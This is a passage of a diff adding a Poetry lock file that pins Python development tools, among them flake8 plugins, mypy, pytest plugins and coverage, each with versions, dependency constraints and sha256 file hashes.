"sha256:9f805d62aec8eb92bab5b61c0f07329275b6f41c97d80e847b03eb894f38d083"}, + {file = "coverage-7.3.2-cp39-cp39-win32.whl", hash = "sha256:d1c88ec1a7ff4ebca0219f5b1ef863451d828cccf889c173e1253aa84b1e07ce"}, + {file = "coverage-7.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b4767da59464bb593c07afceaddea61b154136300881844768037fd5e859353f"}, + {file = "coverage-7.3.2-pp38.pp39.pp310-none-any.whl", hash = "sha256:ae97af89f0fbf373400970c0a21eef5aa941ffeed90aee43650b81f7d7f47637"}, + {file = "coverage-7.3.2.tar.gz", hash = "sha256:be32ad29341b0170e795ca590e1c07e81fc061cb5b10c74ce7203491484404ef"}, +] + +[package.dependencies] +tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} + +[package.extras] +toml = ["tomli"] + +[[package]] +name = "darglint" +version = "1.8.1" +description = "A utility for ensuring Google-style docstrings stay up to date with the source code." +optional = false +python-versions = ">=3.6,<4.0" +files = [ + {file = "darglint-1.8.1-py3-none-any.whl", hash = "sha256:5ae11c259c17b0701618a20c3da343a3eb98b3bc4b5a83d31cdd94f5ebdced8d"}, + {file = "darglint-1.8.1.tar.gz", hash = "sha256:080d5106df149b199822e7ee7deb9c012b49891538f14a11be681044f0bb20da"}, +] + +[[package]] +name = "docutils" +version = "0.20.1" +description = "Docutils -- Python Documentation Utilities" +optional = false +python-versions = ">=3.7" +files = [ + {file = "docutils-0.20.1-py3-none-any.whl", hash = "sha256:96f387a2c5562db4476f09f13bbab2192e764cac08ebbf3a34a95d9b1e4a59d6"}, + {file = "docutils-0.20.1.tar.gz", hash = "sha256:f08a4e276c3a1583a86dce3e34aba3fe04d02bba2dd51ed16106244e8a923e3b"}, +] + +[[package]] +name = "eradicate" +version = "2.3.0" +description = "Removes commented-out code." +optional = false +python-versions = "*" +files = [ + {file = "eradicate-2.3.0-py3-none-any.whl", hash = "sha256:2b29b3dd27171f209e4ddd8204b70c02f0682ae95eecb353f10e8d72b149c63e"}, + {file = "eradicate-2.3.0.tar.gz", hash = "sha256:06df115be3b87d0fc1c483db22a2ebb12bcf40585722810d809cc770f5031c37"}, +] + +[[package]] +name = "exceptiongroup" +version = "1.1.3" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "exceptiongroup-1.1.3-py3-none-any.whl", hash = "sha256:343280667a4585d195ca1cf9cef84a4e178c4b6cf2274caef9859782b567d5e3"}, + {file = "exceptiongroup-1.1.3.tar.gz", hash = "sha256:097acd85d473d75af5bb98e41b61ff7fe35efe6675e4f9370ec6ec5126d160e9"}, +] + +[package.extras] +test = ["pytest (>=6)"] + +[[package]] +name = "flake8" +version = "6.1.0" +description = "the modular source code checker: pep8 pyflakes and co" +optional = false +python-versions = ">=3.8.1" +files = [ + {file = "flake8-6.1.0-py2.py3-none-any.whl", hash = "sha256:ffdfce58ea94c6580c77888a86506937f9a1a227dfcd15f245d694ae20a6b6e5"}, + {file = "flake8-6.1.0.tar.gz", hash = "sha256:d5b3857f07c030bdb5bf41c7f53799571d75c4491748a3adcd47de929e34cd23"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.11.0,<2.12.0" +pyflakes = ">=3.1.0,<3.2.0" + +[[package]] +name = "flake8-bandit" +version = "4.1.1" +description = "Automated security testing with bandit and flake8." +optional = false +python-versions = ">=3.6" +files = [ + {file = "flake8_bandit-4.1.1-py3-none-any.whl", hash = "sha256:4c8a53eb48f23d4ef1e59293657181a3c989d0077c9952717e98a0eace43e06d"}, + {file = "flake8_bandit-4.1.1.tar.gz", hash = "sha256:068e09287189cbfd7f986e92605adea2067630b75380c6b5733dab7d87f9a84e"}, +] + +[package.dependencies] +bandit = ">=1.7.3" +flake8 = ">=5.0.0" + +[[package]] +name = "flake8-broken-line" +version = "1.0.0" +description = "Flake8 plugin to forbid backslashes for line breaks" +optional = false +python-versions = ">=3.8,<4.0" +files = [ + {file = "flake8_broken_line-1.0.0-py3-none-any.whl", hash = "sha256:96c964336024a5030dc536a9f6fb02aa679e2d2a6b35b80a558b5136c35832a9"}, + {file = "flake8_broken_line-1.0.0.tar.gz", hash = "sha256:e2c6a17f8d9a129e99c1320fce89b33843e2963871025c4c2bb7b8b8d8732a85"}, +] + +[package.dependencies] +flake8 = ">5" + +[[package]] +name = "flake8-bugbear" +version = "23.9.16" +description = "A plugin for flake8 finding likely bugs and design problems in your program. Contains warnings that don't belong in pyflakes and pycodestyle." +optional = false +python-versions = ">=3.8.1" +files = [ + {file = "flake8-bugbear-23.9.16.tar.gz", hash = "sha256:90cf04b19ca02a682feb5aac67cae8de742af70538590509941ab10ae8351f71"}, + {file = "flake8_bugbear-23.9.16-py3-none-any.whl", hash = "sha256:b182cf96ea8f7a8595b2f87321d7d9b28728f4d9c3318012d896543d19742cb5"}, +] + +[package.dependencies] +attrs = ">=19.2.0" +flake8 = ">=6.0.0" + +[package.extras] +dev = ["coverage", "hypothesis", "hypothesmith (>=0.2)", "pre-commit", "pytest", "tox"] + +[[package]] +name = "flake8-commas" +version = "2.1.0" +description = "Flake8 lint for trailing commas." +optional = false +python-versions = "*" +files = [ + {file = "flake8-commas-2.1.0.tar.gz", hash = "sha256:940441ab8ee544df564ae3b3f49f20462d75d5c7cac2463e0b27436e2050f263"}, + {file = "flake8_commas-2.1.0-py2.py3-none-any.whl", hash = "sha256:ebb96c31e01d0ef1d0685a21f3f0e2f8153a0381430e748bf0bbbb5d5b453d54"}, +] + +[package.dependencies] +flake8 = ">=2" + +[[package]] +name = "flake8-comprehensions" +version = "3.14.0" +description = "A flake8 plugin to help you write better list/set/dict comprehensions." +optional = false +python-versions = ">=3.8" +files = [ + {file = "flake8_comprehensions-3.14.0-py3-none-any.whl", hash = "sha256:7b9d07d94aa88e62099a6d1931ddf16c344d4157deedf90fe0d8ee2846f30e97"}, + {file = "flake8_comprehensions-3.14.0.tar.gz", hash = "sha256:81768c61bfc064e1a06222df08a2580d97de10cb388694becaf987c331c6c0cf"}, +] + +[package.dependencies] +flake8 = ">=3.0,<3.2.0 || >3.2.0" + +[[package]] +name = "flake8-debugger" +version = "4.1.2" +description = "ipdb/pdb statement checker plugin for flake8" +optional = false +python-versions = ">=3.7" +files = [ + {file = "flake8-debugger-4.1.2.tar.gz", hash = "sha256:52b002560941e36d9bf806fca2523dc7fb8560a295d5f1a6e15ac2ded7a73840"}, + {file = "flake8_debugger-4.1.2-py3-none-any.whl", hash = "sha256:0a5e55aeddcc81da631ad9c8c366e7318998f83ff00985a49e6b3ecf61e571bf"}, +] + +[package.dependencies] +flake8 = ">=3.0" +pycodestyle = "*" + +[[package]] +name = "flake8-docstrings" +version = "1.7.0" +description = "Extension for flake8 which uses pydocstyle to check docstrings" +optional = false +python-versions = ">=3.7" +files = [ + {file = "flake8_docstrings-1.7.0-py2.py3-none-any.whl", hash = "sha256:51f2344026da083fc084166a9353f5082b01f72901df422f74b4d953ae88ac75"}, + {file = "flake8_docstrings-1.7.0.tar.gz", hash = "sha256:4c8cc748dc16e6869728699e5d0d685da9a10b0ea718e090b1ba088e67a941af"}, +] + +[package.dependencies] +flake8 = ">=3" +pydocstyle = ">=2.1" + +[[package]] +name = "flake8-eradicate" +version = "1.5.0" +description = "Flake8 plugin to find commented out code" +optional = false +python-versions = ">=3.8,<4.0" +files = [ + {file = "flake8_eradicate-1.5.0-py3-none-any.whl", hash = "sha256:18acc922ad7de623f5247c7d5595da068525ec5437dd53b22ec2259b96ce9d22"}, + {file = "flake8_eradicate-1.5.0.tar.gz", hash = "sha256:aee636cb9ecb5594a7cd92d67ad73eb69909e5cc7bd81710cf9d00970f3983a6"}, +] + +[package.dependencies] +attrs = "*" +eradicate = ">=2.0,<3.0" +flake8 = ">5" + +[[package]] +name = "flake8-isort" +version = "6.1.0" +description = "flake8 plugin that integrates isort ." +optional = false +python-versions = ">=3.8" +files = [ + {file = "flake8-isort-6.1.0.tar.gz", hash = "sha256:d4639343bac540194c59fb1618ac2c285b3e27609f353bef6f50904d40c1643e"}, +] + +[package.dependencies] +flake8 = "*" +isort = ">=5.0.0,<6" + +[package.extras] +test = ["pytest"] + +[[package]] +name = "flake8-quotes" +version = "3.3.2" +description = "Flake8 lint for quotes." +optional = false +python-versions = "*" +files = [ + {file = "flake8-quotes-3.3.2.tar.gz", hash = "sha256:6e26892b632dacba517bf27219c459a8396dcfac0f5e8204904c5a4ba9b480e1"}, +] + +[package.dependencies] +flake8 = "*" + +[[package]] +name = "flake8-rst-docstrings" +version = "0.3.0" +description = "Python docstring reStructuredText (RST) validator for flake8" +optional = false +python-versions = ">=3.7" +files = [ + {file = "flake8-rst-docstrings-0.3.0.tar.gz", hash = "sha256:d1ce22b4bd37b73cd86b8d980e946ef198cfcc18ed82fedb674ceaa2f8d1afa4"}, + {file = "flake8_rst_docstrings-0.3.0-py3-none-any.whl", hash = "sha256:f8c3c6892ff402292651c31983a38da082480ad3ba253743de52989bdc84ca1c"}, +] + +[package.dependencies] +flake8 = ">=3" +pygments = "*" +restructuredtext-lint = "*" + +[package.extras] +develop = ["build", "twine"] + +[[package]] +name = "flake8-string-format" +version = "0.3.0" +description = "string format checker, plugin for flake8" +optional = false +python-versions = "*" +files = [ + {file = "flake8-string-format-0.3.0.tar.gz", hash = "sha256:65f3da786a1461ef77fca3780b314edb2853c377f2e35069723348c8917deaa2"}, + {file = "flake8_string_format-0.3.0-py2.py3-none-any.whl", hash = "sha256:812ff431f10576a74c89be4e85b8e075a705be39bc40c4b4278b5b13e2afa9af"}, +] + +[package.dependencies] +flake8 = "*" + +[[package]] +name = "freezegun" +version = "1.2.2" +description = "Let your Python tests travel through time" +optional = false +python-versions = ">=3.6" +files = [ + {file = "freezegun-1.2.2-py3-none-any.whl", hash = "sha256:ea1b963b993cb9ea195adbd893a48d573fda951b0da64f60883d7e988b606c9f"}, + {file = "freezegun-1.2.2.tar.gz", hash = "sha256:cd22d1ba06941384410cd967d8a99d5ae2442f57dfafeff2fda5de8dc5c05446"}, +] + +[package.dependencies] +python-dateutil = ">=2.7" + +[[package]] +name = "gitdb" +version = "4.0.11" +description = "Git Object Database" +optional = false +python-versions = ">=3.7" +files = [ + {file = "gitdb-4.0.11-py3-none-any.whl", hash = "sha256:81a3407ddd2ee8df444cbacea00e2d038e40150acfa3001696fe0dcf1d3adfa4"}, + {file = "gitdb-4.0.11.tar.gz", hash = "sha256:bf5421126136d6d0af55bc1e7c1af1c397a34f5b7bd79e776cd3e89785c2b04b"}, +] + +[package.dependencies] +smmap = ">=3.0.1,<6" + +[[package]] +name = "gitpython" +version = "3.1.40" +description = "GitPython is a Python library used to interact with Git repositories" +optional = false +python-versions = ">=3.7" +files = [ + {file = "GitPython-3.1.40-py3-none-any.whl", hash = "sha256:cf14627d5a8049ffbf49915732e5eddbe8134c3bdb9d476e6182b676fc573f8a"}, + {file = "GitPython-3.1.40.tar.gz", hash = "sha256:22b126e9ffb671fdd0c129796343a02bf67bf2994b35449ffc9321aa755e18a4"}, +] + +[package.dependencies] +gitdb = ">=4.0.1,<5" + +[package.extras] +test = ["black", "coverage[toml]", "ddt (>=1.1.1,!=1.4.3)", "mock", "mypy", "pre-commit", "pytest", "pytest-cov", "pytest-instafail", "pytest-subtests", "pytest-sugar"] + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "importlib-metadata" +version = "6.8.0" +description = "Read metadata from Python packages" +optional = false +python-versions = ">=3.8" +files = [ + {file = "importlib_metadata-6.8.0-py3-none-any.whl", hash = "sha256:3ebb78df84a805d7698245025b975d9d67053cd94c79245ba4b3eb694abe68bb"}, + {file = "importlib_metadata-6.8.0.tar.gz", hash = "sha256:dbace7892d8c0c4ac1ad096662232f831d4e64f4c4545bd53016a3e9d4654743"}, +] + +[package.dependencies] +zipp = ">=0.5" + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +perf = ["ipython"] +testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] + +[[package]] +name = "iniconfig" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.7" +files = [ + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, +] + +[[package]] +name = "isort" +version = "5.12.0" +description = "A Python utility / library to sort Python imports." +optional = false +python-versions = ">=3.8.0" +files = [ + {file = "isort-5.12.0-py3-none-any.whl", hash = "sha256:f84c2818376e66cf843d497486ea8fed8700b340f308f076c6fb1229dff318b6"}, + {file = "isort-5.12.0.tar.gz", hash = "sha256:8bef7dde241278824a6d83f44a544709b065191b95b6e50894bdc722fcba0504"}, +] + +[package.extras] +colors = ["colorama (>=0.4.3)"] +pipfile-deprecated-finder = ["pip-shims (>=0.5.2)", "pipreqs", "requirementslib"] +plugins = ["setuptools"] +requirements-deprecated-finder = ["pip-api", "pipreqs"] + +[[package]] +name = "markdown-it-py" +version = "3.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.8" +files = [ + {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, + {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "mypy" +version = "1.5.1" +description = "Optional static typing for Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "mypy-1.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f33592ddf9655a4894aef22d134de7393e95fcbdc2d15c1ab65828eee5c66c70"}, + {file = "mypy-1.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:258b22210a4a258ccd077426c7a181d789d1121aca6db73a83f79372f5569ae0"}, + {file = "mypy-1.5.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9ec1f695f0c25986e6f7f8778e5ce61659063268836a38c951200c57479cc12"}, + {file = "mypy-1.5.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:abed92d9c8f08643c7d831300b739562b0a6c9fcb028d211134fc9ab20ccad5d"}, + {file = "mypy-1.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:a156e6390944c265eb56afa67c74c0636f10283429171018446b732f1a05af25"}, + {file = "mypy-1.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6ac9c21bfe7bc9f7f1b6fae441746e6a106e48fc9de530dea29e8cd37a2c0cc4"}, + {file = "mypy-1.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:51cb1323064b1099e177098cb939eab2da42fea5d818d40113957ec954fc85f4"}, + {file = "mypy-1.5.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:596fae69f2bfcb7305808c75c00f81fe2829b6236eadda536f00610ac5ec2243"}, + {file = "mypy-1.5.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:32cb59609b0534f0bd67faebb6e022fe534bdb0e2ecab4290d683d248be1b275"}, + {file = "mypy-1.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:159aa9acb16086b79bbb0016145034a1a05360626046a929f84579ce1666b315"}, + {file = "mypy-1.5.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f6b0e77db9ff4fda74de7df13f30016a0a663928d669c9f2c057048ba44f09bb"}, + {file = "mypy-1.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:26f71b535dfc158a71264e6dc805a9f8d2e60b67215ca0bfa26e2e1aa4d4d373"}, + {file = "mypy-1.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fc3a600f749b1008cc75e02b6fb3d4db8dbcca2d733030fe7a3b3502902f161"}, + {file = "mypy-1.5.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:26fb32e4d4afa205b24bf645eddfbb36a1e17e995c5c99d6d00edb24b693406a"}, + {file = "mypy-1.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:82cb6193de9bbb3844bab4c7cf80e6227d5225cc7625b068a06d005d861ad5f1"}, + {file = "mypy-1.5.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:4a465ea2ca12804d5b34bb056be3a29dc47aea5973b892d0417c6a10a40b2d65"}, + {file = "mypy-1.5.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9fece120dbb041771a63eb95e4896791386fe287fefb2837258925b8326d6160"}, + {file = "mypy-1.5.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d28ddc3e3dfeab553e743e532fb95b4e6afad51d4706dd22f28e1e5e664828d2"}, + {file = "mypy-1.5.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:57b10c56016adce71fba6bc6e9fd45d8083f74361f629390c556738565af8eeb"}, + {file = "mypy-1.5.1-cp38-cp38-win_amd64.whl", hash = "sha256:ff0cedc84184115202475bbb46dd99f8dcb87fe24d5d0ddfc0fe6b8575c88d2f"}, + {file = "mypy-1.5.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8f772942d372c8cbac575be99f9cc9d9fb3bd95c8bc2de6c01411e2c84ebca8a"}, + {file = "mypy-1.5.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5d627124700b92b6bbaa99f27cbe615c8ea7b3402960f6372ea7d65faf376c14"}, + {file = "mypy-1.5.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:361da43c4f5a96173220eb53340ace68cda81845cd88218f8862dfb0adc8cddb"}, + {file = "mypy-1.5.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:330857f9507c24de5c5724235e66858f8364a0693894342485e543f5b07c8693"}, + {file = "mypy-1.5.1-cp39-cp39-win_amd64.whl", hash = "sha256:c543214ffdd422623e9fedd0869166c2f16affe4ba37463975043ef7d2ea8770"}, + {file = "mypy-1.5.1-py3-none-any.whl", hash = "sha256:f757063a83970d67c444f6e01d9550a7402322af3557ce7630d3c957386fa8f5"}, + {file = "mypy-1.5.1.tar.gz", hash = "sha256:b031b9601f1060bf1281feab89697324726ba0c0bae9d7cd7ab4b690940f0b92"}, +] + +[package.dependencies] +mypy-extensions = ">=1.0.0" +tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""} +typing-extensions = ">=4.1.0" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +install-types = ["pip"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "packaging" +version = "23.2" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"}, + {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"}, +] + +[[package]] +name = "pbr" +version = "5.11.1" +description = "Python Build Reasonableness" +optional = false +python-versions = ">=2.6" +files = [ + {file = "pbr-5.11.1-py2.py3-none-any.whl", hash = "sha256:567f09558bae2b3ab53cb3c1e2e33e726ff3338e7bae3db5dc954b3a44eef12b"}, + {file = "pbr-5.11.1.tar.gz", hash = "sha256:aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"}, +] + +[[package]] +name = "pep8-naming" +version = "0.13.3" +description = "Check PEP-8 naming conventions, plugin for flake8" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pep8-naming-0.13.3.tar.gz", hash = "sha256:1705f046dfcd851378aac3be1cd1551c7c1e5ff363bacad707d43007877fa971"}, + {file = "pep8_naming-0.13.3-py3-none-any.whl", hash = "sha256:1a86b8c71a03337c97181917e2b472f0f5e4ccb06844a0d6f0a33522549e7a80"}, +] + +[package.dependencies] +flake8 = ">=5.0.0" + +[[package]] +name = "pluggy" +version = "1.3.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pluggy-1.3.0-py3-none-any.whl", hash = "sha256:d89c696a773f8bd377d18e5ecda92b7a3793cbe66c87060a6fb58c7b6e1061f7"}, + {file = "pluggy-1.3.0.tar.gz", hash = "sha256:cf61ae8f126ac6f7c451172cf30e3e43d3ca77615509771b3a984a0730651e12"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "pycodestyle" +version = "2.11.1" +description = "Python style guide checker" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pycodestyle-2.11.1-py2.py3-none-any.whl", hash = "sha256:44fe31000b2d866f2e41841b18528a505fbd7fef9017b04eff4e2648a0fadc67"}, + {file = "pycodestyle-2.11.1.tar.gz", hash = "sha256:41ba0e7afc9752dfb53ced5489e89f8186be00e599e712660695b7a75ff2663f"}, +] + +[[package]] +name = "pydocstyle" +version = "6.3.0" +description = "Python docstring style checker" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pydocstyle-6.3.0-py3-none-any.whl", hash = "sha256:118762d452a49d6b05e194ef344a55822987a462831ade91ec5c06fd2169d019"}, + {file = "pydocstyle-6.3.0.tar.gz", hash = "sha256:7ce43f0c0ac87b07494eb9c0b462c0b73e6ff276807f204d6b53edc72b7e44e1"}, +] + +[package.dependencies] +snowballstemmer = ">=2.2.0" + +[package.extras] +toml = ["tomli (>=1.2.3)"] + +[[package]] +name = "pyflakes" +version = "3.1.0" +description = "passive checker of Python programs" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pyflakes-3.1.0-py2.py3-none-any.whl", hash = "sha256:4132f6d49cb4dae6819e5379898f2b8cce3c5f23994194c24b77d5da2e36f774"}, + {file = "pyflakes-3.1.0.tar.gz", hash = "sha256:a0aae034c444db0071aa077972ba4768d40c830d9539fd45bf4cd3f8f6992efc"}, +] + +[[package]] +name = "pygments" +version = "2.16.1" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.16.1-py3-none-any.whl", hash = "sha256:13fc09fa63bc8d8671a6d247e1eb303c4b343eaee81d861f3404db2935653692"}, + {file = "Pygments-2.16.1.tar.gz", hash = "sha256:1daff0494820c69bc8941e407aa20f577374ee88364ee10a98fdbe0aece96e29"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pytest" +version = "7.4.2" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-7.4.2-py3-none-any.whl", hash = "sha256:1d881c6124e08ff0a1bb75ba3ec0bfd8b5354a01c194ddd5a0a870a48d99b002"}, + {file = "pytest-7.4.2.tar.gz", hash = "sha256:a766259cfab564a2ad52cb1aae1b881a75c3eb7e34ca3779697c23ed47c47069"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "sys_platform == \"win32\""} +exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" +tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} + +[package.extras] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "pytest-cov" +version = "4.1.0" +description = "Pytest plugin for measuring coverage." +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-cov-4.1.0.tar.gz", hash = "sha256:3904b13dfbfec47f003b8e77fd5b589cd11904a21ddf1ab38a64f204d6a10ef6"}, + {file = "pytest_cov-4.1.0-py3-none-any.whl", hash = "sha256:6ba70b9e97e69fcc3fb45bfeab2d0a138fb65c4d0d6a41ef33983ad114be8c3a"}, +] + +[package.dependencies] +coverage = {version = ">=5.2.1", extras = ["toml"]} +pytest = ">=4.6" + +[package.extras] +testing = ["fields", "hunter", "process-tests", "pytest-xdist", "six", "virtualenv"] + +[[package]] +name = "pytest-freezer" +version = "0.4.8" +description = "Pytest plugin providing a fixture interface for spulec/freezegun" +optional = false +python-versions = ">= 3.6" +files = [ + {file = "pytest_freezer-0.4.8-py3-none-any.whl", hash = "sha256:644ce7ddb8ba52b92a1df0a80a699bad2b93514c55cf92e9f2517b68ebe74814"}, + {file = "pytest_freezer-0.4.8.tar.gz", hash = "sha256:8ee2f724b3ff3540523fa355958a22e6f4c1c819928b78a7a183ae4248ce6ee6"}, +] + +[package.dependencies] +freezegun = ">=1.0" +pytest = ">=3.6" + +[[package]] +name = "pytest-randomly" +version = "3.15.0" +description = "Pytest plugin to randomly order tests and control random.seed." +optional = false +python-versions = ">=3.8" +files = [ + {file = "pytest_randomly-3.15.0-py3-none-any.whl", hash = "sha256:0516f4344b29f4e9cdae8bce31c4aeebf59d0b9ef05927c33354ff3859eeeca6"}, + {file = "pytest_randomly-3.15.0.tar.gz", hash = "sha256:b908529648667ba5e54723088edd6f82252f540cc340d748d1fa985539687047"}, +] + +[package.dependencies] +importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} +pytest = "*" + +[[package]] +name = "pytest-timeout" +version = "2.2.0" +description = "pytest plugin to abort hanging tests" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-timeout-2.2.0.tar.gz", hash = "sha256:3b0b95dabf3cb50bac9ef5ca912fa0cfc286526af17afc806824df20c2f72c90"}, + {file = "pytest_timeout-2.2.0-py3-none-any.whl", hash = "sha256:bde531e096466f49398a59f2dde76fa78429a09a12411466f88a07213e220de2"}, +] + +[package.dependencies] +pytest = ">=5.0.0" + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "pyyaml" +version = "6.0.1" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "PyYAML-6.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d858aa552c999bc8a8d57426ed01e40bef403cd8ccdd0fc5f6f04a00414cac2a"}, + {file = "PyYAML-6.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = 